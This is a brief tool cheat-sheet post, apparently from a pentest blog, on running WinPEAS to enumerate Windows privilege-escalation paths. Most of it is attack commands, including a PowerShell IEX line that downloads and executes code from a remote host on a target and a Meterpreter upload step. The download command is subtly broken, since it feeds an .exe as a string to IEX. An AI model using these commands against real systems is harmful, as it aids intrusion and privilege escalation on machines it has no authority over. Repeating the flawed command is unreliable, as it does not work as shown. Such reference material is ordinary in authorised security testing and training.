ToolsFebruary 9, 20261 min readby 0xt0pus

WinPEAS

Windows Privilege Escalation Awesome Script for automated enumeration of escalation vectors

#privilege-escalation#windows#enumeration

WinPEAS

Description

WinPEAS (Windows Privilege Escalation Awesome Script) is an automated tool that searches for possible paths to escalate privileges on Windows hosts. It checks for misconfigurations, credentials, and vulnerable services.

Usage 1: Run WinPEAS

Command:

WinPEAS.exe

Usage 2: Download WinPEAS Remotely on Target

Command:

IEX(New-Object Net.WebClient).downloadString('http://10.10.10.1/winpeas.exe')

Usage 3: Upload via Meterpreter

Command:

upload /home/user/Desktop/WinPEAS.exe